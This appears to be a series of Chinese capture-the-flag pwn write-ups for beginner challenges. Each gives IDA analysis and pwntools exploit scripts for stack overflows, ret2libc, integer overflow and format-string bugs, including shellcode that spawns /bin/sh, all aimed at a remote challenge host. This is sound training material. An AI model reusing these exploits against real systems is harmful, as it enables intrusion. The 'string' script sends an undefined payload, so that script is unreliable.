level2
1.查壳
2.IDA分析
进入vulnerable_function函数
读入的值明显大于buf自身的大小
又有system函数,就差/bin/sh了
接下来我们
SHIFT+F12
双击system函数,得到地址 0x8048320
双击binsh,得到地址 0x0804a024
双击buf,得到buf到返回地址的偏移 0x88+4=140
3.EXP
from pwn import *
p=remote('111.198.29.45',53371)
sys_addr=0x8048320
binsh_addr=0x0804a024
payload='a'*140+p32(sys_addr)+'a'*4+p32(binsh_addr)
p.recvuntil("Input:")
p.sendline(payload)
p.interactive()
4.Flag
guess_num
1.查壳
2.ida分析
gets函数存在栈溢出漏洞,再看一下有没有值得注意的
sub_C3E中有我们想要的东西,
最开始的想法肯定是通过溢出,跳转到sub_C3E的位置,直接执行cat flag
但是发现不可行,因为中间有个seed,所以我们需要通过溢出漏洞,覆盖seed得到一个已知的种子,使程序运行到sub_C3E那里
双击v8得到v8到seed的距离0x20
通过ldd guess_num得到共享文件:/lib/x86_64-linux-gnu/libc.so.6
3.EXP
from pwn import *
from ctypes import *
p=remote('111.198.29.45',57730)
elf=ELF('./guess_num')
libc=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
payload='a'*0x20+p64(1)
p.recvuntil('name:')
p.sendline(payload)
libc.srand(1)
for i in range(10):
num=str(libc.rand()%6+1)
p.recvuntil('number:')
p.sendline(num)
p.interactive()
4.Flag
int_overflow
一看名字就知道这是一道整数溢出的题目
1.查壳
2.ida分析
没什么亮点,进入login函数看看
没什么亮点,进入check_passwd函数
strcpy那里是个漏洞,
whats_this函数那里有我们想要的
要想执行strcpy函数,我们必须要使v3大于3,小于等于8,不过v3是个无符号整型,八位寄存器对于无符号整数来说是有0~255的范围的,所以我们构造255个字符,就能构成溢出,而返回地址占4个字节,所以是259
从这里可以看出passwd的保存为0x14,溢出,然后跳转到system函数那里,我们就能够得到flag
3.EXP
from pwn import *
p=remote('111.198.29.45',53086)
flag_addr=0x804868b
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil("Please input your username:\n")
p.sendline('kk')
payload='a'*0x14+'aaaa'+p32(flag_addr)
payload=payload.ljust(262,'a')
p.recvuntil("passwd:\n")
p.sendline(payload)
p.interactive()
4.Flag
cgpwn2
1.查壳
2.ida分析
进入hello函数
gets函数栈溢出漏洞
存在system函数,但是没有binsh字符串
又看到fgets函数,
思路有了,我们可以通过fgets函数将binsh字符串传入name里面,
然后通过栈溢出漏洞覆盖返回地址,最后调用system函数和name
system函数的地址:0x8048420
name函数的地址:0x804a080
s到返回地址的偏移 :0x26+4=42
3.EXP
from pwn import *
p=remote('111.198.29.45',58337)
sys_addr=0x8048420
name_addr=0x804a080
p.recvuntil("\n")
p.sendline('/bin/sh')
payload='a'*42+p32(sys_addr)+'aaaa'+p32(name_addr)
p.recvuntil("\n")
p.sendline(payload)
p.interactive()
4.Flag
when_did_you_born
1.查壳
2.IDA分析
我们只需要让程序执行system(“cat flag”)即可
发现gets漏洞函数,思路有了,先让v5不等于1926然后通过gets函数覆盖v5为1926,就可以的到flag
v4到v5的距离为:0x20-0x18=8
3.EXP
from pwn import *
p=remote('111.198.29.45',47153)
p.recvuntil("What's Your Birth?")
p.sendline("1927")
payload='a'*8+p64(1926)
p.recvuntil("What's Your Name?")
p.sendline(payload)
p.interactive()
4.Flag
hello_pwn
1.查壳
2.IDA分析
read函数存在栈溢出漏洞,
进入sub_400686函数中
我们通过read函数覆盖dword_60106c为1853186401,就能得到flag
两个函数的偏移为0x601068-0x60106C=4
3.EXP
from pwn import *
p=remote('111.198.29.45',41777)
payload='a'*4+p64(1853186401)
p.recvuntil("lets get helloworld for bof")
p.sendline(payload)
p.interactive()
4.Flag
level3
文件打开之后还是个压缩包,改文件格式为zip
1.查壳
2.IDA分析
read函数栈溢出漏洞,这道题没有system函数也没有/bin/sh,但是给了我们一个共享文件,所以这是一道ret2libc的题目
我们可以泄露write函数的真实地址
buf到返回地址的偏移为140
3.EXP
通过ROPgadget --binary libc_32.so.6 --string '/bin/sh'
获得libc中的binsh字符串的地址
from pwn import *
p=remote('111.198.29.45',57663)
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')
write_plt=elf.plt['write']
main_plt=elf.symbols['main']
write_got=elf.got['write']
payload1='a'*140+p32(write_plt)+p32(main_plt)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("Input:\n")
p.sendline(payload1)
write_addr=u32(p.recv()[:4])
libcbase=write_addr-libc.symbols['write']
sys_addr=libcbase+libc.symbols['system']
libc_binsh_addr=0x0015902b
binsh_addr=libcbase+libc_binsh_addr
payload='a'*140+p32(sys_addr)+'aaaa'+p32(binsh_addr)
p.sendline(payload)
p.interactive()
4.Flag
string
1.查壳
2.IDA分析
我们可以得到v4的地址
没啥亮点
printf函数存在格式化字符串漏洞
read函数下面可以把输入的字符串当作指令执行,我们可以写入shellcode
但是要求是a1==a1[1],往上回溯,我们查到分别是v3和v3[1],但是两个值,一个是68,一个是85.
sub_400bb9函数中格式化字符串漏洞,我们可以利用那个漏洞将v3的值改为85
而v3的地址程序中已经告诉我们了,即v4的地址0xb21260
3.EXP
八位寄存器对于无符号整数来说是有0~255的范围的。
在64位程序运行中,参数传递需要寄存器。
64位参数传递约定:前六个参数按顺序存储在寄存器rdi,rsi,rdx,rcx,r8,r9中,
参数超过六个时,从第七个开始压入栈中
from pwn import *
p=remote('111.198.29.45',43616)
p.recvuntil("sercet[0] is")
v3_addr=int(p.recvuntil("\n")[:-1],16)
p.sendlineafter("What should your character's name be:",'123')
p.sendlineafter("So,where you will go?east or up?:",'east')
p.sendlineafter("go into there(1),or leave(0)?:",'1')
p.sendlineafter("'Give me an address'",str(v3_addr))
p.sendlineafter("And,you wish is:",'%85c%7$n')
context(os='linux',arch='amd64')
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.recvuntil("USE YOU SPELL")
p.sendline(payload)
p.interactive()
4.Flag
get_shell
1.查壳
2.IDA分析
3.EXP
nc 111.198.29.45 46953
4.Flag
CGfsb
1.查壳
2.IDA分析
printf函数存在格式化字符串漏洞,通过漏洞使pwnme=8,就能得到flag
这里我们用gdb算偏移
chmod 777 cg
gdb ./cg
b * 0x80486cd
下断点
x/16x $esp
偏移为10
3.EXP
理解:fmtstr_payload(偏移,{key内存地址,value值})
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形;
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
from pwn import *
p=remote('111.198.29.45',47218)
pwnme=0x0804a068
#payload=p32(pwnme)+'aaaa%10$n'
payload=fmtstr_payload(10,{pwnme:8})
p.recvuntil("your name:\n")
p.sendline('aaa')
p.recvuntil("message please:\n")
p.sendline(payload)
p.interactive()
4.Flag
我自己的公众号